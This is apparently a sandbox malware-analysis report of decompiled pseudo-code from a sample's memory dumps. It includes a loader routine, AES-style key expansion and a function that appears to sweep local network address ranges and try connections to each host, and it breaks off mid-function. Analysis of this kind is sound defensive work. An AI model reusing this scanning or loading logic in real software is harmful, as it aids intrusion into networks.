Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01376650, Relevance: 1.5, APIs: 1, Instructions: 36

C-Code - Quality: 100%

			E01376650(void* __edi, void* __esp, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				intOrPtr* _v8;
				long long _v16;
				intOrPtr _v36;
				intOrPtr _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				intOrPtr _v68;
				void* _v84;
				intOrPtr _v88;
				void* _v112;
				void* _t24;

				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = 0;
				memset(__edi, 0, 0x1c << 0);
				_v68 = 0;
				memset(__edi + 0x1c, 0, 0xc << 0);
				_v64 = _v16;
				_v56 =  *_v8;
				_v48 =  *((intOrPtr*)(_v8 + 8));
				_v40 = 0;
				_v36 = 0;
				r9d = 0x18;
				r8d = 0x10001;
				_t24 =  *((long long*)( *0x0136435A - 0x4adf0773))(); // executed
				return _t24;
			}

0x01376650
0x01376655
0x0137665f
0x01376676
0x01376678
0x0137668f
0x01376699
0x013766a9
0x013766ba
0x013766bf
0x013766c7
0x013766dc
0x013766e2
0x013766ef
0x013766f6

APIs

CsrClientCallServer.NTDLL ref: 013766EF

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136F1A0, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

CreateFileW.KERNEL32 ref: 0136F1D9

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136FCB0, Relevance: 1.5, APIs: 1, Instructions: 32

APIs

RtlAllocateHeap.NTDLL ref: 0136FD09

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01366231, Relevance: 1.5, APIs: 1, Instructions: 24
library

C-Code - Quality: 100%

			E01366231(void* _a8) {
				struct HINSTANCE__* _t2;
				long _t11;
				void* _t14;
				CHAR* _t21;

				if( *0x1381718 == 0) {
					 *0x013660FD();
				}
				_t2 = LoadLibraryExA(_t21, _t14, _t11); // executed
				return _t2;
			}

0x01366241
0x01366250
0x01366250
0x01366271
0x0136627c

APIs

LoadLibraryExA.KERNELBASE ref: 01366271

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01372890, Relevance: 1.5, APIs: 1, Instructions: 23

C-Code - Quality: 100%

			E01372890(void* __rcx, intOrPtr _a16) {

				_a16 = 0;
				if( *0x01372650() != 2) {
					 *0x01383548(); // executed
					return _a16;
				} else {
					return 0;
				}
			}

0x01372899
0x013728b5
0x013728d4
0x013728df
0x013728b7
0x013728be
0x013728be

APIs

IsWow64Process.KERNELBASE ref: 013728D4

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136FC70, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

HeapCreate.KERNELBASE ref: 0136FC8B

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0137A1A0, Relevance: 1.4, APIs: 1, Instructions: 136

C-Code - Quality: 42%

			E0137A1A0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _v16;
				void* _v546;
				short _v548;
				long long _v560;
				void* _v568;
				void* _v576;
				long long _v584;
				long long _v592;
				long long _v600;
				signed int _v608;
				signed int _v616;
				void* _t88;
				void* _t91;
				void* _t111;
				signed long long _t128;

				_t111 = __edi;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v592 = _a24 - _a16;
				_v560 = _a16;
				_v600 = _a16 +  *((intOrPtr*)(_v560 + 0x3c));
				_t128 = _v600 + _v600 + 0x18;
				_v608 = _t128;
				_v584 = 0;
				_v616 = 0;
				while((_v616 & 0x0000ffff) < ( *(_v600 + 6) & 0x0000ffff)) {
					_t128 = _t128 * 0x28;
					if(_v592 < _t128) {
						L6:
						_v616 = (_v616 & 0x0000ffff) + 1;
						continue;
					} else {
						_t128 = _t128 * 0x28;
						if(_v592 > _t128) {
							goto L6;
						} else {
							_v584 = _t128 * 0x28 + _v592 - _v608 * 0x28;
						}
					}
					break;
				}
				if(_v584 != 0) {
					_v576 = 0;
					memset(_t111, 0, 8 << 0);
					_v548 = 0;
					memset(_t111 + 8, 0, 0x208 << 0);
					 *((long long*)( *0x01362533 + 0x243d4b))();
					 *0x01370D00();
					 *((long long*)(0x1370d00))();
					_t88 =  *0x0136F270(); // executed
					if(_t88 != 0) {
						_v576 = 0x136fe50;
						r8d = _a16;
						 *_v576();
						if(_v600 != 0) {
							HeapFree(); // executed
						}
						_v600 = 0;
						_v592 = 0;
						_t91 = 1;
					} else {
						_t91 = 0;
					}
				} else {
					_t91 = 0;
				}
				return _t91;
			}

0x0137a1a0
0x0137a1a0
0x0137a1a5
0x0137a1aa
0x0137a1af
0x0137a1d2
0x0137a1df
0x0137a1fb
0x0137a20e
0x0137a213
0x0137a218
0x0137a223
0x0137a237
0x0137a252
0x0137a264
0x0137a2cc
0x0137a232
0x00000000
0x0137a266
0x0137a26b
0x0137a291
0x00000000
0x0137a293
0x0137a2c5
0x0137a2c5
0x0137a291
0x00000000
0x0137a264
0x0137a2d7
0x0137a2e0
0x0137a2f8
0x0137a2fc
0x0137a310
0x0137a329
0x0137a34b
0x0137a36e
0x0137a387
0x0137a38b
0x0137a3b6
0x0137a3bb
0x0137a3ce
0x0137a3d6
0x0137a3ea
0x0137a3ea
0x0137a3ec
0x0137a3f5
0x0137a3fe
0x0137a38d
0x0137a38d
0x0137a38d
0x0137a2d9
0x0137a2d9
0x0137a2d9
0x0137a40b

APIs

HeapFree.KERNEL32 ref: 0137A3EA

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Non-executed Functions

Function 01379910, Relevance: .4, Instructions: 381
Crypto

C-Code - Quality: 30%

			E01379910(void* __edx, long long __rax, long long __rcx, long long __rdx, long long __rsi, void* __r9, long long __r12, long long __r13, long long __r14, long long __r15) {
				void* _t142;
				signed int _t162;
				void* _t170;
				signed int _t177;
				signed int _t180;
				signed int _t181;
				void* _t218;
				void* _t221;
				signed int _t223;
				void* _t224;
				signed long long _t235;
				signed long long _t236;
				long long _t240;
				signed long long _t253;
				long long _t263;
				long long* _t264;
				long long* _t266;
				signed long long _t267;
				signed long long _t274;
				signed long long _t275;
				intOrPtr _t279;
				long long _t282;
				long long _t291;
				intOrPtr* _t303;
				intOrPtr* _t304;
				signed long long _t306;
				long long* _t312;
				long long* _t314;
				long long* _t316;
				void* _t319;
				void* _t320;
				signed long long _t328;
				long long _t336;
				long long* _t339;
				long long* _t341;
				long long* _t346;
				long long* _t348;

				_t291 = __rdx;
				 *((long long*)(_t319 + 0x10)) = __rdx;
				 *((long long*)(_t319 + 8)) = __rcx;
				_t316 = _t319 - 0x100;
				_t320 = _t319 - 0x200;
				 *((long long*)(_t316 + 0x20)) = __rax;
				 *((long long*)(_t316 + 0x28)) = __rax;
				 *((long long*)(_t316 + 0x30)) = __rax;
				 *((long long*)(_t316 + 0x38)) = __rax;
				 *((long long*)(_t316 + 0x40)) = __rax;
				 *((long long*)(_t320 + 0x78)) = 0x1379f50;
				 *0x01370560();
				if(0 != 0) {
					_t12 = _t291 + 0x50; // 0x50
					r8d = _t12;
					E01365A30();
					 *((long long*)(_t316 - 0x68)) = _t316 - 0x70;
					 *((long long*)(_t316 - 0x70)) = _t316 - 0x70;
					 *((long long*)( *0x013622D3 + 0x1b6396))();
					r9d = 0;
					_t235 =  *0x013611A3 + 0x22763f;
					r8d = 0;
					 *_t235();
					 *((long long*)(_t316 - 0x20)) = __rdx;
					 *(_t316 - 0x28) = _t235;
					 *((long long*)(_t316 - 0x58)) = __rcx;
					 *((intOrPtr*)(_t316 + 0x130)) = 0;
					if( *0xFFFFFFFFD0F1F670() != 0x6f) {
						goto L1;
					} else {
						 *((long long*)(_t320 + 0x1f0)) = __r12;
						 *((long long*)(_t320 + 0x1e8)) = __r13;
						 *0x29b75d53();
						 *(_t316 + 0x138) = _t235;
						_t328 = _t235;
						if(_t235 == 0) {
							L5:
							_t142 = 0;
						} else {
							_t274 = _t235;
							if( *0x01364FE0() == 0) {
								 *((long long*)(_t320 + 0x1f8)) = __rsi;
								 *((long long*)(_t320 + 0x1e0)) = __r14;
								 *((long long*)(_t320 + 0x1d8)) = __r15;
								r15d = 0;
								do {
									if( *((intOrPtr*)(_t328 + 0x1a4)) != 0x18) {
										_t37 = _t328 + 0x1b8; // 0x1b8
										_t303 = _t37;
										if(_t303 != 0) {
											_t314 =  *0x01363513 + 0x6bde;
											_t348 =  *0x013634BA + 0x314d4f;
											do {
												 *_t314();
												_t177 =  *_t348();
												_t41 = _t303 + 8; // 0x1c0
												_t274 = _t41;
												_t181 = _t177;
												 *_t314();
												_t180 =  *_t348() & _t181;
												if(_t180 != 0 && (_t180 & 0xffff0000) != 0xa9fe0000) {
													r15d = r15d + ( !_t181 | _t180) - _t180;
												}
												_t303 =  *_t303;
											} while (_t303 != 0);
										}
									}
									_t328 =  *_t328;
								} while (_t328 != 0);
								_t275 = _t274 << 4;
								 *0x0136FCB0();
								 *(_t320 + 0x60) = _t235;
								r15d = 0;
								_t236 =  *(_t316 + 0x138);
								do {
									if( *((intOrPtr*)(_t236 + 0x1a4)) != 0x18) {
										_t336 = _t236 + 0x1b8;
										 *((long long*)(_t320 + 0x58)) = _t336;
										if(_t336 != 0) {
											_t306 =  *((intOrPtr*)(0x1363513)) + 0x6bde;
											_t266 =  *((intOrPtr*)(0x13634ba)) + 0x314d4f;
											 *(_t316 - 0x80) = _t306;
											 *((long long*)(_t320 + 0x50)) = _t266;
											do {
												 *_t306();
												_t162 =  *_t266();
												_t275 = _t336 + 8;
												r12d = _t162;
												 *_t306();
												_t223 =  *_t266() & r12d;
												r12d =  !r12d;
												r12d = r12d | _t223;
												if(_t223 != 0 && (_t223 & 0xffff0000) != 0xa9fe0000) {
													_t224 = _t223 + 1;
													if(_t224 < r12d) {
														_t346 =  *0x0136366A + 0x124e41;
														 *((long long*)(_t320 + 0x68)) = 0x136a5f0;
														_t339 =  *((intOrPtr*)(_t320 + 0x68));
														_t253 = 0x1370730;
														 *((long long*)(_t320 + 0x70)) = 0x2b57ddaa;
														asm("o16 nop [eax+eax]");
														do {
															 *(_t320 + 0x42) = _t253;
															 *((intOrPtr*)(_t320 + 0x4a)) = 0;
															 *((short*)(_t320 + 0x4e)) = 0;
															 *((intOrPtr*)(_t320 + 0x40)) = 0x8b000002;
															 *_t266();
															r8d = 0;
															 *((intOrPtr*)(_t320 + 0x44)) = 0;
															 *_t346();
															_t267 = _t253;
															if(_t253 == 0xffffffff) {
																_t306 =  *0x01362A3A - 0x4acdf8f6;
																do {
																	 *_t306();
																	r8d = 0;
																	 *_t346();
																	_t267 = _t253;
																} while (_t253 == 0xffffffff);
															}
															asm("lock dec eax");
															_t306 = (_t306 << 4) +  *(_t320 + 0x60);
															 *_t306 = _t267;
															 *((intOrPtr*)(_t306 + 8)) =  *_t339();
															 *(_t320 + 0x30) = _t316 - 0x70;
															r9d = 0x10;
															 *(_t320 + 0x28) = _t306;
															_t275 = _t316 + 0x20;
															 *(_t320 + 0x20) = _t253;
															_t170 =  *((intOrPtr*)(_t320 + 0x70))();
															if(_t170 == 0xffffffff) {
																_t275 = _t267;
																_t253 =  *0x0136356A + 0x3b549a;
																 *_t253();
																 *_t306 = 0xffffffff;
																asm("lock dec eax");
															} else {
																if(_t170 == 0) {
																	_t275 = _t267;
																	 *( *((intOrPtr*)(0x136356a)) + 0x3b549a)();
																	r8d =  *((intOrPtr*)(_t320 + 0x44));
																	_t253 = _t316 - 0x70;
																	 *(_t320 + 0x28) = 0;
																	r9d = 0;
																	 *_t306 = 0xffffffff;
																	 *(_t320 + 0x20) = _t253;
																	 *((intOrPtr*)(_t320 + 0x78))();
																} else {
																	if(_t170 == 1) {
																		r15d = r15d + 1;
																	}
																}
															}
															_t266 =  *((intOrPtr*)(_t320 + 0x50));
															_t224 = _t224 + 1;
														} while (_t224 < r12d);
														_t336 =  *((intOrPtr*)(_t320 + 0x58));
														_t306 =  *(_t316 - 0x80);
													}
												}
												_t336 =  *_t336;
												 *((long long*)(_t320 + 0x58)) = _t336;
											} while (_t336 != 0);
											_t236 =  *(_t316 + 0x138);
										}
									}
									_t236 =  *_t236;
									 *(_t316 + 0x138) = _t236;
								} while (_t236 != 0);
								_t341 =  *(_t320 + 0x60);
								while(1) {
									_t221 = 0;
									_t218 = 0;
									if(r15d == 0) {
										break;
									}
									_t264 = _t341;
									do {
										if( *_t264 != 0xffffffff) {
											if( *0x5879ce0a() -  *((intOrPtr*)(_t264 + 8)) <= 0x1e) {
												_t221 = 1;
											} else {
												_t94 = _t341 + 0x136a5f00;
												_t96 = _t275 | 0xffffffff;
												_t275 =  *_t94;
												 *_t94 = _t96;
												 *( *((intOrPtr*)(0x136356a)) + 0x3b549a)();
											}
										}
										_t218 = _t218 + 1;
										_t264 = _t264 + 0x10;
									} while (_t218 < r15d);
									if(_t221 != 0) {
										continue;
									}
									break;
								}
								 *0x01370910();
								if(_t341 != 0) {
									 *0x0136FE30();
								}
								_t304 =  *((intOrPtr*)(_t316 - 0x70));
								if(_t304 != _t316 - 0x70) {
									_t312 = 0x136fe30;
									do {
										_t279 =  *_t304;
										_t240 =  *((intOrPtr*)(_t304 + 8));
										r8d = 0x80;
										 *_t240 = _t279;
										 *((long long*)(_t279 + 8)) = _t240;
										E01365A30();
										 *0x01374260();
										_t263 = _t240;
										r9d =  *(_t304 + 0x10) & 0x000000ff;
										 *(_t320 + 0x30) =  *(_t304 + 0x13) & 0x000000ff;
										 *(_t320 + 0x28) =  *(_t304 + 0x12) & 0x000000ff;
										_t282 = _t316 + 0x50;
										 *(_t320 + 0x20) =  *(_t304 + 0x11) & 0x000000ff;
										 *0x01370D10();
										if(_t263 != 0) {
											_t282 = _t263;
											_t240 = 0x13743d0;
											 *0x5e1fdc25();
										}
										 *((long long*)(_t316 - 0x10)) = _t240;
										 *((long long*)(_t316 - 8)) = _t240;
										 *((long long*)(_t316 + 0x10)) = _t240;
										 *((intOrPtr*)(_t316 - 0xc)) = 0;
										 *_t316 = _t282;
										 *((long long*)(_t316 + 0x18)) = _t282;
										 *((long long*)(_t316 + 8)) = _t316 + 0x50;
										 *0x01373560();
										 *_t312();
										_t304 =  *((intOrPtr*)(_t316 - 0x70));
									} while (_t304 != _t316 - 0x70);
								}
								 *((long long*)( *0x01361DE3 - 0x388eb91d))();
								 *((long long*)( *0x0136203A - 0x4ec641ef))();
								_t142 = 1;
							} else {
								goto L5;
							}
						}
						return _t142;
					}
				} else {
					L1:
					return 0;
				}
			}

0x01379910
0x01379910
0x01379915
0x0137991d
0x01379925
0x01379931
0x01379943
0x01379947
0x0137994e
0x01379955
0x0137995c
0x01379972
0x01379976
0x0137998b
0x0137998b
0x0137998f
0x01379998
0x013799a4
0x013799b5
0x013799be
0x013799c1
0x013799c7
0x013799d0
0x013799d2
0x013799e4
0x013799ef
0x013799f5
0x01379a04
0x00000000
0x01379a0a
0x01379a13
0x01379a1b
0x01379a31
0x01379a34
0x01379a3b
0x01379a41
0x01379a53
0x01379a53
0x01379a43
0x01379a4a
0x01379a51
0x01379a5a
0x01379a62
0x01379a6a
0x01379a72
0x01379a75
0x01379a7e
0x01379a80
0x01379a80
0x01379a8b
0x01379a9b
0x01379aa2
0x01379ab0
0x01379ab4
0x01379ab8
0x01379abb
0x01379abb
0x01379abf
0x01379ac1
0x01379ac8
0x01379aca
0x01379ae2
0x01379ae2
0x01379ae5
0x01379ae8
0x01379ab0
0x01379a8b
0x01379aed
0x01379af1
0x01379b02
0x01379b06
0x01379b09
0x01379b0e
0x01379b11
0x01379b20
0x01379b27
0x01379b2d
0x01379b34
0x01379b3c
0x01379b50
0x01379b57
0x01379b5e
0x01379b62
0x01379b67
0x01379b6b
0x01379b6f
0x01379b71
0x01379b75
0x01379b78
0x01379b80
0x01379b83
0x01379b86
0x01379b8b
0x01379ba5
0x01379baa
0x01379bc4
0x01379bcb
0x01379bd7
0x01379bdc
0x01379be2
0x01379be7
0x01379bf0
0x01379bf4
0x01379bf9
0x01379bfd
0x01379c05
0x01379c0d
0x01379c0f
0x01379c12
0x01379c1b
0x01379c1e
0x01379c25
0x01379c2e
0x01379c35
0x01379c3a
0x01379c3c
0x01379c46
0x01379c49
0x01379c4c
0x01379c35
0x01379c52
0x01379c60
0x01379c65
0x01379c6f
0x01379c7b
0x01379c80
0x01379c86
0x01379c8b
0x01379c92
0x01379c97
0x01379c9e
0x01379cf3
0x01379cf6
0x01379cfc
0x01379cfe
0x01379d05
0x01379ca0
0x01379ca2
0x01379cb5
0x01379cbe
0x01379cc0
0x01379cc5
0x01379ccb
0x01379cd4
0x01379cd7
0x01379cde
0x01379ce6
0x01379ca4
0x01379ca7
0x01379ca9
0x01379ca9
0x01379ca7
0x01379ca2
0x01379d0a
0x01379d0f
0x01379d11
0x01379d1a
0x01379d1f
0x01379d1f
0x01379baa
0x01379d23
0x01379d27
0x01379d2c
0x01379d35
0x01379d35
0x01379b3c
0x01379d3c
0x01379d3f
0x01379d46
0x01379d4f
0x01379d54
0x01379d54
0x01379d56
0x01379d5b
0x00000000
0x00000000
0x01379d5d
0x01379d60
0x01379d64
0x01379d7d
0x01379d9d
0x01379d7f
0x01379d88
0x01379d88
0x01379d88
0x01379d88
0x01379d99
0x01379d99
0x01379d7d
0x01379da2
0x01379da4
0x01379da8
0x01379daf
0x00000000
0x00000000
0x00000000
0x01379daf
0x01379dc2
0x01379dce
0x01379ddc
0x01379ddc
0x01379dde
0x01379de9
0x01379e27
0x01379e30
0x01379e30
0x01379e35
0x01379e39
0x01379e3f
0x01379e42
0x01379e4a
0x01379e52
0x01379e59
0x01379e67
0x01379e6c
0x01379e70
0x01379e74
0x01379e78
0x01379e81
0x01379e87
0x01379e90
0x01379e93
0x01379e99
0x01379e99
0x01379eaa
0x01379eae
0x01379eb2
0x01379eba
0x01379ebd
0x01379ec1
0x01379ecc
0x01379ed0
0x01379ed6
0x01379ed8
0x01379ee0
0x01379e30
0x01379efb
0x01379f0f
0x01379f19
0x00000000
0x00000000
0x00000000
0x01379a51
0x01379f48
0x01379f48
0x01379978
0x01379978
0x01379984
0x01379984

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 013698A0, Relevance: .4, Instructions: 377
Crypto

C-Code - Quality: 85%

			E013698A0(void* __edx, unsigned long long __rax, long long __rbx, signed long long __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, signed int* __r8, long long _a8, long long _a16, long long _a24) {
				signed int _t144;
				signed int _t182;
				signed int _t192;
				signed int _t222;
				signed int _t228;
				signed int _t234;
				signed int _t246;
				signed int _t253;
				signed int _t259;
				signed int _t268;
				signed int _t282;
				void* _t283;
				signed int _t289;
				signed int _t290;
				signed int _t291;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				signed int _t312;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t325;
				unsigned long long _t334;
				signed long long _t335;
				signed long long _t336;
				signed long long _t337;
				unsigned long long _t338;
				signed long long _t339;
				unsigned long long _t340;
				unsigned long long _t341;
				signed long long _t342;
				unsigned long long _t343;
				signed int* _t346;
				signed long long _t347;
				signed long long _t348;
				signed long long _t349;
				unsigned long long _t350;
				signed long long _t351;
				long long _t352;
				signed long long _t360;
				unsigned long long _t361;
				signed long long _t362;
				long long _t364;
				long long _t372;
				long long* _t385;
				signed int* _t387;
				signed int* _t388;
				signed int* _t389;
				signed int* _t390;
				signed int* _t391;
				signed int* _t392;
				signed int* _t393;

				_t372 = __rsi;
				_t364 = __rdi;
				_t360 = __rcx;
				_t352 = __rbx;
				_t334 = __rax;
				_t283 = __edx;
				_t390 = __r8;
				_t387 = __rcx;
				if(__rcx == 0 || __r8 == 0) {
					return _t144 | 0xffffffff;
				} else {
					if((__rdx - 0x00000080 & 0xffffff3f) != 0 || __edx == 0x140) {
						return 0xfffffffe;
					} else {
						_a16 = __rbp;
						if(__edx != 0x80) {
							_t149 =  ==  ? 0xc : 0xe;
							 *((intOrPtr*)(__r8 + 0xf0)) =  ==  ? 0xc : 0xe;
						} else {
							 *((intOrPtr*)(__r8 + 0xf0)) = 0xa;
						}
						_t388 =  &(_t390[1]);
						_a8 = _t352;
						asm("rol eax, 0x8");
						asm("ror ebp, 0x8");
						_a24 = _t372;
						_t325 =  *_t387 & 0xff00ff00 |  *_t387 & 0x00ff00ff;
						 *_t385 = _t364;
						 *_t390 = _t325;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						 *_t388 = _t387[1] & 0xff00ff00 | _t387[1] & 0x00ff00ff;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						_t390[2] = _t387[2] & 0xff00ff00 | _t387[2] & 0x00ff00ff;
						asm("ror ecx, 0x8");
						asm("rol eax, 0x8");
						_t222 = _t387[3] & 0xff00ff00 | _t387[3] & 0x00ff00ff;
						_t390[3] = _t222;
						if(_t283 != 0x80) {
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t390[4] = _t387[4] & 0xff00ff00 | _t387[4] & 0x00ff00ff;
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t228 = _t387[5] & 0xff00ff00 | _t387[5] & 0x00ff00ff;
							_t390[5] = _t228;
							if(_t283 != 0xc0) {
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t390[6] = _t387[6] & 0xff00ff00 | _t387[6] & 0x00ff00ff;
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t234 = _t387[7] & 0xff00ff00 | _t387[7] & 0x00ff00ff;
								_t390[7] = _t234;
								if(_t283 == 0x100) {
									r8d = _t234;
									_t335 = _t334 >> 0x10;
									asm("btc edx, 0x18");
									_t336 = _t335 >> 8;
									_t337 = _t336 >> 0x18;
									_t289 =  *(0x5a043c27 + _t335 * 4) & 0xff000000 ^  *(0x3a3afb8f + _t336 * 4) & 0x00ff0000 ^  *(0x1372a84 + _t337 * 4) & 0x000000ff ^  *(0x1377f8b + _t337 * 4) & 0x0000ff00 ^ _t325;
									_t390[8] = _t289;
									_t290 = _t289 ^  *_t388;
									_t389 =  &(_t390[0xc]);
									_t390[9] = _t290;
									_t291 = _t290 ^ _t390[2];
									_t390[0xa] = _t291;
									_t390[0xb] = _t291 ^ _t390[3];
									_t391 = 0x137c134;
									do {
										_t389 =  &(_t389[8]);
										_t338 = _t337 >> 8;
										r8d =  *(0x1377f8b + _t338 * 4);
										_t339 = _t338 >> 0x10;
										r8d = r8d & 0x0000ff00;
										_t340 = _t339 >> 0x18;
										r8d = r8d ^  *(0x3a3afb8f + _t339 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x5a043c27 + _t340 * 4) & 0xff000000;
										r8d = r8d ^  *(0x1372a84 + _t340 * 4) & 0x000000ff;
										r8d = r8d ^  *(_t389 - 0x40);
										_t182 =  *(_t389 - 0x3c) ^ r8d;
										 *(_t389 - 0x1c) = _t182;
										_t246 =  *(_t389 - 0x38) ^ _t182;
										 *(_t389 - 0x20) = r8d;
										 *(_t389 - 0x14) =  *(_t389 - 0x34) ^ _t246;
										 *(_t389 - 0x18) = _t246;
										_t341 = _t340 >> 0x10;
										r8d =  *(0x5a043c27 + _t341 * 4);
										_t342 = _t341 >> 8;
										r8d = r8d & 0xff000000;
										_t337 = _t342 >> 0x18;
										r8d = r8d ^  *(0x3a3afb8f + _t342 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x1372a84 + _t337 * 4) & 0x000000ff;
										r8d = r8d ^  *(0x1377f8b + _t337 * 4) & 0x0000ff00;
										r8d = r8d ^  *(_t389 - 0x30);
										r8d = r8d ^  *_t391;
										_t391 =  &(_t391[1]);
										 *(_t389 - 0x10) = r8d;
										_t192 =  *(_t389 - 0x2c) ^ r8d;
										 *(_t389 - 0xc) = _t192;
										_t253 =  *(_t389 - 0x28) ^ _t192;
										 *(_t389 - 8) = _t253;
										 *(_t389 - 4) =  *(_t389 - 0x24) ^ _t253;
									} while (_t391 != 0x137c14c);
								}
							} else {
								r8d = _t228;
								_t343 = _t334 >> 0x10;
								asm("btc edx, 0x18");
								_t344 = _t343 >> 8;
								_t346 =  &(_t390[0xa]);
								_t300 =  *(0x136cc93 + _t343 * 4) & 0xff000000 ^  *(0x685fc359 + (_t343 >> 8) * 4) & 0x00ff0000 ^  *(0x136e3bd + (_t344 >> 0x18) * 4) & 0x000000ff ^  *(0x20a7cbbe + (_t344 >> 0x18) * 4) & 0x0000ff00 ^ _t325;
								_t390[6] = _t300;
								_t301 = _t300 ^  *_t388;
								_t390[7] = _t301;
								_t302 = _t301 ^ _t390[2];
								_t390[8] = _t302;
								_t390[9] = _t302 ^ _t390[3];
								_t392 = 0x137c134;
								do {
									_t259 =  *(_t346 - 0x14);
									_t305 =  *(_t346 - 0x18) ^  *(_t346 - 4);
									 *_t346 = _t305;
									_t346 =  &(_t346[6]);
